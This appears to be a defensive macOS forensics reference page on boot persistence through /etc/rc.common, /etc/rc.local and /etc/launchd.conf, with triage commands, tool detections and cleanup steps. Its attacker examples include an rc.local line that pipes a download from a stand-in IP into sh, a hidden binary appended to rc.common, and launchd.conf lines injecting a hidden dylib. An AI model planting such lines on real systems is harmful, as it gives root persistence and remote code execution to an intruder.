At boot
RC Scripts: rc.common, rc.local, launchd.conf on macOS
What /etc/rc.common, /etc/rc.local and /etc/launchd.conf did on older macOS, why current releases ignore them, and how to check them during triage.
- MITRE ATT&CK
- T1037.004
- Tactics
- Persistence, Privilege escalation
- Runs
- At boot
- Set up by
- root
- Locations
- /etc/rc.common
- /etc/rc.local
- /etc/launchd.conf
How it works
Three files in /etc (which is /private/etc on macOS) come from the BSD-style boot process of early Mac OS X. Attack frameworks and older write-ups still list them as boot persistence, so it helps to know exactly what each one did and does.
/etc/rc.common is not a boot script. It is a library of shell settings and functions (PATH, CheckForNetwork, GetPID, RunService, a ConsoleMessage alias) that StartupItems and the old boot scripts loaded with . /etc/rc.common. macOS still ships it, a few dozen lines long, but nothing in current macOS sources it at boot. Code appended to it runs only when something sources the file: a legacy StartupItem (which current macOS does not run either) or a third-party script that borrows its helpers.
/etc/rc.local held local commands that early Mac OS X ran at boot from its /etc/rc script. Apple's own rc(8) page from the launchd era already called it unsupported and replaced by launchd. macOS does not create the file and does not run it.
/etc/launchd.conf held launchctl subcommands that launchd ran at early boot: setenv for variables every process inherited, limit, umask, and submit or bsexec to start programs. The launchctl(1) page on current macOS says launchd no longer reads the file at early boot and that Apple removed the feature for security reasons. That happened with the launchd rewrite in OS X 10.10 Yosemite. The same page notes that $HOME/.launchd.conf, although documented, was never implemented.
In short, on OS X 10.10 and later none of the three runs anything on its own. What they still offer a responder is intent: the payload path, the server, the variable someone tried to set as root. Their modern equivalent is a LaunchDaemon.
Where it lives
| Path | What | Who can write it |
|---|---|---|
/etc/rc.common | Shell function library, shipped by macOS | root |
/etc/rc.local | Local boot commands (early Mac OS X); absent by default | root |
/etc/launchd.conf | launchctl subcommands at early boot (up to OS X 10.9); absent by default | root |
~/.launchd.conf | Documented per-user variant, never implemented | the user |
None of these sit on the sealed system volume: root can create or change them on any release, and SIP does not protect them.
How attackers use it
The patterns below are what you find when someone used an old playbook, or wanted a file that looks too boring to read. On a current Mac they do not run by themselves; the payload they name often runs from somewhere else.
Appending to rc.common. A line at the end of Apple's file, betting on it being sourced at boot as older documentation claims:
# last lines of /etc/rc.common
/usr/local/libexec/.sync >/dev/null 2>&1 &
An rc.local downloader. Short, root, at every boot on the releases that honoured it:
#!/bin/sh
curl -fsSL http://198.51.100.7/x | sh
exit 0
launchd.conf injection. On OS X 10.9 and earlier, setenv put a variable in the environment of every process launchd started, and submit started a program at boot:
setenv DYLD_INSERT_LIBRARIES /Library/Caches/.libsys.dylib
submit -l com.example.helper -- /Library/Caches/.helper
These files are often one leg of a multi-mechanism install: the same payload may also be wired into a LaunchDaemon, a StartupItem, an emond rule or shell startup files, where it does run.
How to check a host
On a live Mac:
ls -leO@ /etc/rc.common /etc/rc.local /etc/launchd.conf ~/.launchd.conf 2>/dev/null
stat -f '%SB %Sm %N' /etc/rc.common /etc/rc.local /etc/launchd.conf 2>/dev/null # born / modified
shasum -a 256 /etc/rc.common
cat /etc/rc.local /etc/launchd.conf 2>/dev/null
grep -rl 'rc\.common' /Library/LaunchDaemons /Library/StartupItems /usr/local/bin 2>/dev/null
Compare the hash of /etc/rc.common with the same file on a clean Mac running the same build; if it differs, diff the two. Any /etc/rc.local or /etc/launchd.conf needs an explanation, since macOS creates neither. Follow every path they name: does the program exist, what signs it (codesign -dv --verbose=4), which installer put it there (pkgutil --file-info), and which launch job, StartupItem or cron entry starts it today. The last grep finds scripts that still source rc.common.
Offline, the collection command archives /private/etc/rc.common and /private/etc/launchd.conf; add /private/etc/rc.local by hand. Compare rc.common with a reference copy from the same macOS build, read the other two, and use file times and FSEvents to date their creation. macOS Persistence reads all three offline.
What macOS Persistence flags
The tool reads /etc/launchd.conf and /etc/rc.local and reports one entry per line that is not a comment, a blank line or a bare exit 0, named after the line's first word. /etc/rc.common ships with every Mac as a function library, so it becomes a single entry only when one of the command or path checks below matches something in it.
- Legacy boot file (low): on every such entry. Current macOS does not run these files; their content shows what someone intended. For
rc.common, compare with a clean copy from the same release: the tool flags only lines its checks recognise, not every line a clean copy lacks. - Command and path heuristics on each line, for example Downloads and runs code (the
rc.localabove), Runs from a hidden folder (bothlaunchd.conflines), Runs from a temporary or shared folder, Reverse or bind shell and Decodes and runs a payload. Injects a library (DYLD_) fires on theDYLD_INSERT_LIBRARIES=form; asetenv DYLD_INSERT_LIBRARIES /pathline has no=, so it gets only the path flags. - Changed date (low): the file was modified in the 7 days before the newest file in the collection.
- program also runs from mechanisms (medium): the program a line starts (not one in
/bin,/sbin,/usr/bin,/usr/sbinor/System) is also started by another mechanism.
macOS's own /etc files have no installer receipts, so these entries get no package verdict.
Limits: the tool does not compare rc.common with Apple's copy, so an appended line is only as visible as its own flags make it. It treats each line on its own, so a function body spread over several lines appears line by line. It reads only these three paths, not ~/.launchd.conf, and it does not know which macOS release honoured which file.
Cleaning up
- Preserve: copy the three files with their times (
cp -porditto), hash them and every program they name, and keep a clean referencerc.commonfrom the same build next to the evidence. - Restore
/etc/rc.commonfrom a clean Mac of the same build (or reinstall macOS). Remove/etc/rc.localand/etc/launchd.confunless you can account for them. - Follow the payload: remove the programs the files named, and the launch daemons, StartupItems, emond rules or cron entries that start them;
sudo launchctl bootout system/<label>for any loaded job first. - If anything ran (an old release, or a script that sources
rc.common), it ran as root: rotate credentials, keys and tokens on that Mac, and check for new accounts and sudo rules.
References
See also
Related techniques
On Mac Forensics
The artifacts behind this technique, in the Mac Forensics reference: